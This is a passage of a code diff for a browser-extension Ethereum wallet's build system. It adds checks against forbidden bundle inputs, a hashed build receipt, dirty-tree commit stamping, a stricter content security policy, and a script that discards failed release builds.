for (const info of Object.values(metafile.outputs)) {
|
||||||
|
for (const input of Object.keys(info.inputs)) {
|
||||||
|
record.bundledInputs.add(repoRelative(input));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fail the build when an entry point's bundle contains a module it is
|
||||||
|
// prohibited from reaching. The inputs come from esbuild's metafile, so this is
|
||||||
|
// the resolution the shipped bundle was built from and not a guess at it.
|
||||||
|
//
|
||||||
|
// A background entry point with no line in the table fails here too. The five
|
||||||
|
// defects this exists to prevent were accidents, and so is adding a second
|
||||||
|
// worker entry point without knowing that a table somewhere needs a line: the
|
||||||
|
// protection has to be the default for that directory rather than something
|
||||||
|
// the next author must opt into.
|
||||||
|
function assertNoForbiddenInputs(
|
||||||
|
entryPoint,
|
||||||
|
outfile,
|
||||||
|
metafile,
|
||||||
|
record,
|
||||||
|
table = FORBIDDEN_INPUTS,
|
||||||
|
) {
|
||||||
|
const entry = repoRelative(entryPoint);
|
||||||
|
const forbidden = table[entry];
|
||||||
|
if (!forbidden) {
|
||||||
|
if (!entry.startsWith(BACKGROUND_ENTRY_PREFIX)) return;
|
||||||
|
throw new Error(
|
||||||
|
`${entry} is a background entry point with no line in ` +
|
||||||
|
`FORBIDDEN_INPUTS, so nothing stops its bundle from ` +
|
||||||
|
`containing the shared state singleton. Add it to ` +
|
||||||
|
`script/lib/forbiddenBundleInputs.js. The MV3 worker never ` +
|
||||||
|
`populates that singleton, so reading it serves ` +
|
||||||
|
`DEFAULT_STATE; use getState()/updateState() from ` +
|
||||||
|
`src/background/state.js instead.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const out = repoRelative(outfile);
|
||||||
|
const entryOutput = Object.entries(metafile.outputs).find(
|
||||||
|
([outFile]) => repoRelative(outFile) === out,
|
||||||
|
);
|
||||||
|
if (!entryOutput) {
|
||||||
|
throw new Error(`esbuild reported no metafile output for ${out}`);
|
||||||
|
}
|
||||||
|
const inputs = new Set(
|
||||||
|
Object.keys(entryOutput[1].inputs).map(repoRelative),
|
||||||
|
);
|
||||||
|
|
||||||
|
// Recorded only once the bundle's inputs are actually in hand. Marking the
|
||||||
|
// entry checked any earlier — as this did — means an early return above
|
||||||
|
// satisfies assertForbiddenTableCovered() with a bundle nobody examined,
|
||||||
|
// and the coverage half cannot tell that from a real check. The lookup
|
||||||
|
// above is the fragile step: repoRelative() resolves against process.cwd()
|
||||||
|
// while esbuild's output keys are cwd-relative, so a change to where the
|
||||||
|
// build runs from could miss.
|
||||||
|
record.entriesChecked.add(entry);
|
||||||
|
|
||||||
|
for (const module of forbidden) {
|
||||||
|
if (!inputs.has(module)) continue;
|
||||||
|
const chain = importChain(metafile, entryPoint, module);
|
||||||
|
throw new Error(
|
||||||
|
`${out} bundles ${module}, which ${entry} must not reach` +
|
||||||
|
`${chain ? `: ${chain.join(" -> ")}` : ""}. The MV3 worker ` +
|
||||||
|
`never populates the shared state singleton, so reading it ` +
|
||||||
|
`serves DEFAULT_STATE. Use getState()/updateState() from ` +
|
||||||
|
`src/background/state.js instead.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fail the build when the table has rotted away from the tree it describes.
|
||||||
|
// Both halves of an entry rot independently, and either one turns the whole
|
||||||
|
// prohibition into a pass that checks nothing:
|
||||||
|
//
|
||||||
|
// - the KEY, when no bundled entry point matches it: the entry point was
|
||||||
|
// renamed or is no longer built, and no bundle was ever tested against the
|
||||||
|
// list;
|
||||||
|
// - the MODULE, when this build bundled it nowhere: the module was renamed,
|
||||||
|
// moved or deleted, so "is it an input of the background bundle" is asked
|
||||||
|
// about a path nothing resolves to and is answered no forever. The popup
|
||||||
|
// legitimately bundles src/shared/state.js, which is what makes this
|
||||||
|
// checkable — and it is stronger than an existsSync(), because it also
|
||||||
|
// fails when the file is still there but has dropped out of every bundle.
|
||||||
|
//
|
||||||
|
// This matters concretely: https://git.eeqj.de/sneak/AutistMask/issues/311
|
||||||
|
// rewrites this persistence layer, and a rename that quietly disarmed the
|
||||||
|
// guarantee would put the singleton back within reach of the worker with every
|
||||||
|
// check in the repo still green.
|
||||||
|
//
|
||||||
|
// The third way — an entry that lists no modules at all — is refused where the
|
||||||
|
// table is defined, at require time, because that one also empties the ESLint
|
||||||
|
// rule's forbidden set and so has to fail before either layer runs. It is
|
||||||
|
// re-checked here so the build's own half does not depend on the table having
|
||||||
|
// been loaded from that file.
|
||||||
|
function assertForbiddenTableCovered(record, table = FORBIDDEN_INPUTS) {
|
||||||
|
assertTableWellFormed(table);
|
||||||
|
for (const [entry, modules] of Object.entries(table)) {
|
||||||
|
if (!record.entriesChecked.has(entry)) {
|
||||||
|
throw new Error(
|
||||||
|
`${entry} is listed in FORBIDDEN_INPUTS but was not bundled, ` +
|
||||||
|
`so nothing checked it`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
for (const module of modules) {
|
||||||
|
if (record.bundledInputs.has(module)) continue;
|
||||||
|
throw new Error(
|
||||||
|
`${module} is listed in FORBIDDEN_INPUTS for ${entry}, but ` +
|
||||||
|
`this build bundled it nowhere, so the prohibition names ` +
|
||||||
|
`a module that is not in this tree at that path and ` +
|
||||||
|
`nothing enforces it. If the module moved, move it in ` +
|
||||||
|
`script/lib/forbiddenBundleInputs.js too, which both ` +
|
||||||
|
`this check and the ESLint rule read.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Every file this build writes under dist/, recorded as it is written. This is
|
||||||
|
// the build's own account of what it emitted; it is never recovered by
|
||||||
|
// listing dist/, because a file that is in dist/ without this build having put
|
||||||
|
// it there is exactly what the receipt exists to expose.
|
||||||
|
const emittedFiles = [];
|
||||||
|
|
||||||
|
function recordEmitted(absPath) {
|
||||||
|
emittedFiles.push(absPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
|
||||||
|
// CLI record their outputs where they are invoked.
|
||||||
|
function copyEmitted(src, dest) {
|
||||||
|
fs.copyFileSync(src, dest);
|
||||||
|
recordEmitted(dest);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy the icons one browser directory ships. The sizes come from the manifest
|
||||||
|
// that will sit next to them, not from a second list here: a size the manifest
|
||||||
|
// declares and icons/ does not hold fails the build, rather than shipping a
|
||||||
|
// manifest whose reference resolves to nothing. Relative to the browser
|
||||||
|
// directory, so nothing points up and out of it the way dist/styles.css does.
|
||||||
|
function copyIcons(distDir) {
|
||||||
|
const manifestPath = MANIFEST_SOURCES.get(distDir);
|
||||||
|
const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8"));
|
||||||
|
const refs = Object.values(manifest.icons || {});
|
||||||
|
if (refs.length === 0) {
|
||||||
|
throw new Error(
|
||||||
|
`${repoRelative(manifestPath)} declares no icons, so the browser ` +
|
||||||
|
`renders a generic placeholder for this extension`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
for (const ref of refs) {
|
||||||
|
if (!ICON_REF_RE.test(ref)) {
|
||||||
|
throw new Error(
|
||||||
|
`${repoRelative(manifestPath)} declares icon ` +
|
||||||
|
`${JSON.stringify(ref)}, which is not a plain file under ` +
|
||||||
|
`icons/`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const src = path.join(__dirname, ref);
|
||||||
|
if (!fs.existsSync(src)) {
|
||||||
|
throw new Error(
|
||||||
|
`${repoRelative(manifestPath)} declares ${ref}, which is not ` +
|
||||||
|
`in this tree`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const dest = path.join(distDir, ref);
|
||||||
|
ensureDir(path.dirname(dest));
|
||||||
|
copyEmitted(src, dest);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function sha256File(absPath) {
|
||||||
|
return crypto
|
||||||
|
.createHash("sha256")
|
||||||
|
.update(fs.readFileSync(absPath))
|
||||||
|
.digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write the receipt for the files this build emitted. Deliberately records no
|
||||||
|
// build mode: which mode was asked for is script/verify-build's argument, so
|
||||||
|
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
|
||||||
|
// under these names, are what I wrote, and these ones bundle constants.js".
|
||||||
|
function writeReceipt(receiptPath, auditedBundles) {
|
||||||
|
const audited = new Set(auditedBundles);
|
||||||
|
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
|
||||||
|
|
||||||
|
for (const p of paths) {
|
||||||
|
if (!SAFE_EMITTED_PATH.test(p)) {
|
||||||
|
throw new Error(
|
||||||
|
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A bundle esbuild reported but that nothing recorded as emitted means the
|
||||||
|
// two halves have drifted apart, and the receipt would then leave an
|
||||||
|
// audited bundle out. Fail rather than emit a short receipt.
|
||||||
|
for (const bundle of audited) {
|
||||||
|
if (!paths.includes(bundle)) {
|
||||||
|
throw new Error(
|
||||||
|
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (audited.size === 0) {
|
||||||
|
throw new Error(
|
||||||
|
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
|
||||||
|
for (const p of paths) {
|
||||||
|
const flag = audited.has(p) ? "A" : "P";
|
||||||
|
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
|
||||||
|
}
|
||||||
|
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
|
||||||
|
|
||||||
|
console.log(
|
||||||
|
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
|
||||||
|
`containing ${AUDITED_MODULE} (${receiptPath})`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Where the receipt goes, decided before anything is emitted so a build that
|
||||||
|
// cannot produce a checkable receipt fails before it writes any artifacts.
|
||||||
|
// Inside dist/ is refused: a receipt that lives in the tree it describes can
|
||||||
|
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
|
||||||
|
function receiptTarget() {
|
||||||
|
const requested = process.env[RECEIPT_ENV];
|
||||||
|
if (!requested) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
const resolved = path.resolve(requested);
|
||||||
|
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
|
||||||
|
throw new Error(
|
||||||
|
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
|
||||||
|
`describes dist/ and must not live in it.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return resolved;
|
||||||
|
}
|
||||||
|
|
||||||
// DEBUG is a build-time flag, off unless explicitly requested. It is the only
|
// DEBUG is a build-time flag, off unless explicitly requested. It is the only
|
||||||
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
|
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
|
||||||
// exact: anything other than the literal "1" (unset, empty, "true", a typo)
|
// exact: anything other than the literal "1" (unset, empty, "true", a typo)
|
||||||
@@ -54,28 +383,53 @@ function isDebugBuild() {
|
|||||||
return process.env.AUTISTMASK_DEBUG === "1";
|
return process.env.AUTISTMASK_DEBUG === "1";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A short git output, or null when git cannot answer. Distinguishing "git said
|
||||||
|
// nothing" from "git could not be asked" matters below: a working tree whose
|
||||||
|
// state is unknown must not be stamped as clean.
|
||||||
|
function git(args) {
|
||||||
|
try {
|
||||||
|
return execSync(`git ${args}`, {
|
||||||
|
encoding: "utf8",
|
||||||
|
stdio: ["ignore", "pipe", "ignore"],
|
||||||
|
}).trim();
|
||||||
|
} catch {
|
||||||
|
// not a git repo, or git not available
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The working-tree state, as a suffix for the displayed commit: "" when the
|
||||||
|
// tree matches HEAD, "-dirty" when it does not, "-unknown" when git answered
|
||||||
|
// the hash but not the status. Without this a build from a modified tree
|
||||||
|
// stamped a clean hash, so the About screen named a commit whose contents were
|
||||||
|
// not what was running — the one thing that stamp exists to establish.
|
||||||
|
//
|
||||||
|
// git status --porcelain honours .gitignore, so dist/ and node_modules/ do not
|
||||||
|
// make every build dirty; an untracked file that is NOT ignored does, and
|
||||||
|
// correctly: it may well be in the bundle.
|
||||||
|
function worktreeSuffix() {
|
||||||
|
const status = git("status --porcelain");
|
||||||
|
if (status === null) return "-unknown";
|
||||||
|
return status === "" ? "" : "-dirty";
|
||||||
|
}
|
||||||
|
|
||||||
function getBuildInfo() {
|
function getBuildInfo() {
|
||||||
const pkg = JSON.parse(
|
const pkg = JSON.parse(
|
||||||
fs.readFileSync(path.join(__dirname, "package.json"), "utf8"),
|
fs.readFileSync(path.join(__dirname, "package.json"), "utf8"),
|
||||||
);
|
);
|
||||||
let commitHash = "unknown";
|
const commitHashFull = git("rev-parse HEAD") || "unknown";
|
||||||
try {
|
const shortHash = git("rev-parse --short HEAD") || "unknown";
|
||||||
commitHash = execSync("git rev-parse --short HEAD", {
|
// The full hash is left clean because it is the href of the commit link in
|
||||||
encoding: "utf8",
|
// the About screen, and "abc123-dirty" is not a commit anyone can fetch.
|
||||||
}).trim();
|
// The displayed short hash carries the marker, so the screen says the tree
|
||||||
} catch {
|
// was modified while still linking somewhere real.
|
||||||
// not a git repo or git not available
|
const commitHash =
|
||||||
}
|
shortHash === "unknown" ? shortHash : shortHash + worktreeSuffix();
|
||||||
let commitHashFull = "unknown";
|
|
||||||
try {
|
|
||||||
commitHashFull = execSync("git rev-parse HEAD", {
|
|
||||||
encoding: "utf8",
|
|
||||||
}).trim();
|
|
||||||
} catch {
|
|
||||||
// not a git repo or git not available
|
|
||||||
}
|
|
||||||
return {
|
return {
|
||||||
version: pkg.version,
|
// Fails the build when package.json and the two manifests disagree;
|
||||||
|
// see script/lib/version.js. Called before anything is emitted, so a
|
||||||
|
// tree with no single version never reaches dist/.
|
||||||
|
version: resolveVersion(__dirname),
|
||||||
license: pkg.license,
|
license: pkg.license,
|
||||||
author: pkg.author,
|
author: pkg.author,
|
||||||
commitHash,
|
commitHash,
|
||||||
@@ -87,6 +441,15 @@ function getBuildInfo() {
|
|||||||
async function build() {
|
async function build() {
|
||||||
console.log("Building AutistMask extension...");
|
console.log("Building AutistMask extension...");
|
||||||
|
|
||||||
|
const receiptPath = receiptTarget();
|
||||||
|
if (!receiptPath) {
|
||||||
|
console.warn(
|
||||||
|
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
|
||||||
|
`receipt and script/verify-build cannot verify what it ` +
|
||||||
|
`emitted. Build through make build / make build-debug.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
const buildInfo = getBuildInfo();
|
const buildInfo = getBuildInfo();
|
||||||
console.log("Build info:", buildInfo);
|
console.log("Build info:", buildInfo);
|
||||||
|
|
||||||
@@ -108,19 +471,24 @@ async function build() {
|
|||||||
};
|
};
|
||||||
|
|
||||||
// Emitted bundles that contain constants.js, accumulated across every
|
// Emitted bundles that contain constants.js, accumulated across every
|
||||||
// esbuild run below and written out for script/verify-build.
|
// esbuild run below and recorded in the receipt for script/verify-build.
|
||||||
const auditedBundles = [];
|
const auditedBundles = [];
|
||||||
|
|
||||||
|
// What the forbidden-input checks accumulate across those same runs.
|
||||||
|
const forbiddenRecord = newForbiddenRecord();
|
||||||
|
|
||||||
// compile tailwind CSS
|
// compile tailwind CSS
|
||||||
console.log("Compiling Tailwind CSS...");
|
console.log("Compiling Tailwind CSS...");
|
||||||
const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
|
const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
|
||||||
const tailwindOutput = path.join(DIST, "styles.css");
|
const tailwindOutput = path.join(DIST, "styles.css");
|
||||||
|
|
||||||
|
// Start from an empty dist/, so what is there afterwards is what this
|
||||||
|
// build put there and nothing else. Leftovers from an earlier build are
|
||||||
|
// not covered by this build's receipt, and script/verify-build rejects
|
||||||
|
// any file it did not emit rather than ignoring it.
|
||||||
|
fs.rmSync(DIST, { recursive: true, force: true });
|
||||||
ensureDir(DIST);
|
ensureDir(DIST);
|
||||||
|
|
||||||
// Drop any manifest from a previous build before emitting anything, so a
|
|
||||||
// build that never gets around to writing one cannot be verified against
|
|
||||||
// a stale list.
|
|
||||||
fs.rmSync(BUNDLE_MANIFEST, { force: true });
|
|
||||||
// The locally installed binary, not `npx` — npx silently fetches from the
|
// The locally installed binary, not `npx` — npx silently fetches from the
|
||||||
// registry when the binary is absent, which is an unpinned network fetch
|
// registry when the binary is absent, which is an unpinned network fetch
|
||||||
// in the middle of a build.
|
// in the middle of a build.
|
||||||
@@ -134,6 +502,7 @@ async function build() {
|
|||||||
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
|
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
|
||||||
{ stdio: "inherit" },
|
{ stdio: "inherit" },
|
||||||
);
|
);
|
||||||
|
recordEmitted(tailwindOutput);
|
||||||
|
|
||||||
// Every bundle goes through here, so metafile collection cannot be
|
// Every bundle goes through here, so metafile collection cannot be
|
||||||
// forgotten when a new entry point is added.
|
// forgotten when a new entry point is added.
|
||||||
@@ -149,6 +518,16 @@ async function build() {
|
|||||||
metafile: true,
|
metafile: true,
|
||||||
define,
|
define,
|
||||||
});
|
});
|
||||||
|
// Before the output is recorded as emitted: a bundle that violates a
|
||||||
|
// prohibition must abort the build, not be written into a receipt.
|
||||||
|
recordBundledInputs(result.metafile, forbiddenRecord);
|
||||||
|
assertNoForbiddenInputs(
|
||||||
|
entryPoint,
|
||||||
|
outfile,
|
||||||
|
result.metafile,
|
||||||
|
forbiddenRecord,
|
||||||
|
);
|
||||||
|
recordEmitted(outfile);
|
||||||
auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
|
auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -182,39 +561,63 @@ async function build() {
|
|||||||
);
|
);
|
||||||
|
|
||||||
// copy popup HTML
|
// copy popup HTML
|
||||||
fs.copyFileSync(
|
copyEmitted(
|
||||||
path.join(SRC, "popup", "index.html"),
|
path.join(SRC, "popup", "index.html"),
|
||||||
path.join(distDir, "src", "popup", "index.html"),
|
path.join(distDir, "src", "popup", "index.html"),
|
||||||
);
|
);
|
||||||
|
|
||||||
// place compiled CSS next to popup HTML
|
// place compiled CSS next to popup HTML
|
||||||
fs.copyFileSync(
|
copyEmitted(
|
||||||
tailwindOutput,
|
tailwindOutput,
|
||||||
path.join(distDir, "src", "popup", "styles.css"),
|
path.join(distDir, "src", "popup", "styles.css"),
|
||||||
);
|
);
|
||||||
|
|
||||||
|
copyIcons(distDir);
|
||||||
}
|
}
|
||||||
|
|
||||||
// copy manifests
|
// copy manifests
|
||||||
fs.copyFileSync(
|
copyEmitted(
|
||||||
path.join(__dirname, "manifest", "chrome.json"),
|
path.join(__dirname, "manifest", "chrome.json"),
|
||||||
path.join(DIST_CHROME, "manifest.json"),
|
path.join(DIST_CHROME, "manifest.json"),
|
||||||
);
|
);
|
||||||
fs.copyFileSync(
|
copyEmitted(
|
||||||
path.join(__dirname, "manifest", "firefox.json"),
|
path.join(__dirname, "manifest", "firefox.json"),
|
||||||
path.join(DIST_FIREFOX, "manifest.json"),
|
path.join(DIST_FIREFOX, "manifest.json"),
|
||||||
);
|
);
|
||||||
|
|
||||||
// Written last so a build that died partway through leaves no manifest
|
assertForbiddenTableCovered(forbiddenRecord);
|
||||||
// at all, which script/verify-build treats as a hard failure rather than
|
|
||||||
// as "nothing to check".
|
// Written last so a build that died partway through leaves no receipt at
|
||||||
const manifest = [...new Set(auditedBundles)].sort();
|
// all, which script/verify-build treats as a hard failure rather than as
|
||||||
fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
|
// "nothing to check".
|
||||||
console.log(
|
if (receiptPath) {
|
||||||
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
|
writeReceipt(receiptPath, auditedBundles);
|
||||||
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
|
}
|
||||||
);
|
|
||||||
|
|
||||||
console.log("Build complete: dist/chrome/ and dist/firefox/");
|
console.log("Build complete: dist/chrome/ and dist/firefox/");
|
||||||
}
|
}
|
||||||
|
|
||||||
build();
|
// Run only as a program. Required as a module — which is how
|
||||||
|
// tests/buildForbiddenInputs.test.js reaches the checks below — this file
|
||||||
|
// builds nothing and writes nothing.
|
||||||
|
if (require.main === module) {
|
||||||
|
build().catch((err) => {
|
||||||
|
console.error(
|
||||||
|
`Build failed: ${err && err.message ? err.message : err}`,
|
||||||
|
);
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Exported for tests/buildForbiddenInputs.test.js only. The prohibition these
|
||||||
|
// three functions enforce is the guarantee behind
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/324, and `make check` does not
|
||||||
|
// run `make build` — so they are unit tested against synthetic metafiles
|
||||||
|
// rather than being exercised only by CI, where "it ran" is not "it works".
|
||||||
|
module.exports = {
|
||||||
|
importChain,
|
||||||
|
newForbiddenRecord,
|
||||||
|
recordBundledInputs,
|
||||||
|
assertNoForbiddenInputs,
|
||||||
|
assertForbiddenTableCovered,
|
||||||
|
};
|
||||||
|
|||||||
@@ -8,6 +8,10 @@
|
|||||||
|
|
||||||
const js = require("@eslint/js");
|
const js = require("@eslint/js");
|
||||||
const globals = require("globals");
|
const globals = require("globals");
|
||||||
|
const backgroundState = require("./script/lib/eslint/noStateSingletonInBackground");
|
||||||
|
const {
|
||||||
|
BACKGROUND_ENTRY_PREFIX,
|
||||||
|
} = require("./script/lib/forbiddenBundleInputs");
|
||||||
|
|
||||||
// The extension APIs. MV3 Chrome exposes `chrome`; Firefox exposes both, and
|
// The extension APIs. MV3 Chrome exposes `chrome`; Firefox exposes both, and
|
||||||
// the code feature-detects between them.
|
// the code feature-detects between them.
|
||||||
@@ -78,12 +82,36 @@ module.exports = [
|
|||||||
},
|
},
|
||||||
|
|
||||||
// MV3 background: a service worker, with no window and no document.
|
// MV3 background: a service worker, with no window and no document.
|
||||||
|
//
|
||||||
|
// It also may not reach src/shared/state.js. That module's `state` export
|
||||||
|
// is a per-bundle singleton loaded once and mutated in place, which is the
|
||||||
|
// popup's lifetime and not the worker's: the worker is killed when idle,
|
||||||
|
// nothing loads state at module scope, and an unpopulated read used to be
|
||||||
|
// served DEFAULT_STATE silently. Five defects came from background code
|
||||||
|
// reading or writing it (https://git.eeqj.de/sneak/AutistMask/issues/324),
|
||||||
|
// and each point fix added a loadState() that created the next one. The
|
||||||
|
// rule below checks reachability through the whole require graph, not just
|
||||||
|
// the direct require, because a re-export from any shared module the
|
||||||
|
// background already pulls in would put the singleton back in the bundle
|
||||||
|
// with no background file naming it.
|
||||||
|
//
|
||||||
|
// It is not the guarantee: build.js asserts the same prohibition against
|
||||||
|
// esbuild's own metafile, from the shared table in
|
||||||
|
// script/lib/forbiddenBundleInputs.js. This is the early report.
|
||||||
|
//
|
||||||
|
// The glob comes from that same file, because build.js uses the prefix to
|
||||||
|
// decide which entry points must be listed in the table at all: the two
|
||||||
|
// layers must not disagree about which files are "the background".
|
||||||
{
|
{
|
||||||
files: ["src/background/**/*.js"],
|
files: [`${BACKGROUND_ENTRY_PREFIX}**/*.js`],
|
||||||
|
plugins: { background: backgroundState },
|
||||||
languageOptions: {
|
languageOptions: {
|
||||||
...commonjs,
|
...commonjs,
|
||||||
globals: { ...globals.serviceworker, ...extensionGlobals },
|
globals: { ...globals.serviceworker, ...extensionGlobals },
|
||||||
},
|
},
|
||||||
|
rules: {
|
||||||
|
"background/no-state-singleton-in-background": "error",
|
||||||
|
},
|
||||||
},
|
},
|
||||||
|
|
||||||
// src/shared is bundled into both, so it may only use what both provide:
|
// src/shared is bundled into both, so it may only use what both provide:
|
||||||
@@ -107,9 +135,9 @@ module.exports = [
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
|
||||||
// Unit tests: jest on node.
|
// Unit tests, and the helpers they require: jest on node.
|
||||||
{
|
{
|
||||||
files: ["tests/**/*.test.js"],
|
files: ["tests/**/*.test.js", "tests/support/**/*.js"],
|
||||||
languageOptions: {
|
languageOptions: {
|
||||||
...commonjs,
|
...commonjs,
|
||||||
globals: { ...globals.node, ...globals.jest },
|
globals: { ...globals.node, ...globals.jest },
|
||||||
|
|||||||
BIN
icons/icon128.png
Normal file
BIN
icons/icon128.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.8 KiB |
BIN
icons/icon16.png
Normal file
BIN
icons/icon16.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 292 B |
BIN
icons/icon32.png
Normal file
BIN
icons/icon32.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 534 B |
BIN
icons/icon48.png
Normal file
BIN
icons/icon48.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 725 B |
@@ -3,10 +3,17 @@
|
|||||||
"name": "AutistMask",
|
"name": "AutistMask",
|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Minimal Ethereum wallet for Chrome",
|
"description": "Minimal Ethereum wallet for Chrome",
|
||||||
|
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUUYzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kLWoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB",
|
||||||
"permissions": ["storage", "activeTab", "alarms"],
|
"permissions": ["storage", "activeTab", "alarms"],
|
||||||
"host_permissions": ["<all_urls>"],
|
"host_permissions": ["<all_urls>"],
|
||||||
"content_security_policy": {
|
"content_security_policy": {
|
||||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
|
"extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
|
||||||
|
},
|
||||||
|
"icons": {
|
||||||
|
"16": "icons/icon16.png",
|
||||||
|
"32": "icons/icon32.png",
|
||||||
|
"48": "icons/icon48.png",
|
||||||
|
"128": "icons/icon128.png"
|
||||||
},
|
},
|
||||||
"action": {
|
"action": {
|
||||||
"default_popup": "src/popup/index.html"
|
"default_popup": "src/popup/index.html"
|
||||||
|
|||||||
@@ -4,7 +4,13 @@
|
|||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"description": "Minimal Ethereum wallet for Firefox",
|
"description": "Minimal Ethereum wallet for Firefox",
|
||||||
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
|
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
|
||||||
"content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
|
"content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
|
||||||
|
"icons": {
|
||||||
|
"16": "icons/icon16.png",
|
||||||
|
"32": "icons/icon32.png",
|
||||||
|
"48": "icons/icon48.png",
|
||||||
|
"128": "icons/icon128.png"
|
||||||
|
},
|
||||||
"browser_action": {
|
"browser_action": {
|
||||||
"default_popup": "src/popup/index.html"
|
"default_popup": "src/popup/index.html"
|
||||||
},
|
},
|
||||||
|
|||||||
78
script/discard-dist-on-failure
Executable file
78
script/discard-dist-on-failure
Executable file
@@ -0,0 +1,78 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# script/discard-dist-on-failure: run one step of the RELEASE build, and if that
|
||||||
|
# step fails, remove dist/ before returning its exit status. Our own extension
|
||||||
|
# to scripts-to-rule-them-all, wrapped around every step of make build.
|
||||||
|
#
|
||||||
|
# Why: with AUTISTMASK_DEBUG=1 exported in the calling shell, make build
|
||||||
|
# compiles a debug bundle and then fails on it in script/verify-build — but the
|
||||||
|
# bundle is already written. It is loadable, and every wallet it creates gets
|
||||||
|
# the publicly committed test recovery phrase from src/shared/constants.js. A
|
||||||
|
# failed release build that leaves that behind is a smaller version of the trap
|
||||||
|
# the verifier exists to close, and "the failure was loud" only works on an
|
||||||
|
# operator who does not load dist/chrome/ anyway. Removing the artifact does not
|
||||||
|
# depend on that.
|
||||||
|
#
|
||||||
|
# Two things this deliberately does not do. It does not wrap make build-debug: a
|
||||||
|
# debug build that failed is not a mistakable artifact, and its output is the
|
||||||
|
# evidence of what went wrong. And it never removes anything on a step that
|
||||||
|
# SUCCEEDS, including the final check-censored --require-dist pass.
|
||||||
|
#
|
||||||
|
# The removal is never silent: it says dist/ is gone and why, on stderr, above
|
||||||
|
# the build's own failure.
|
||||||
|
set -eu
|
||||||
|
|
||||||
|
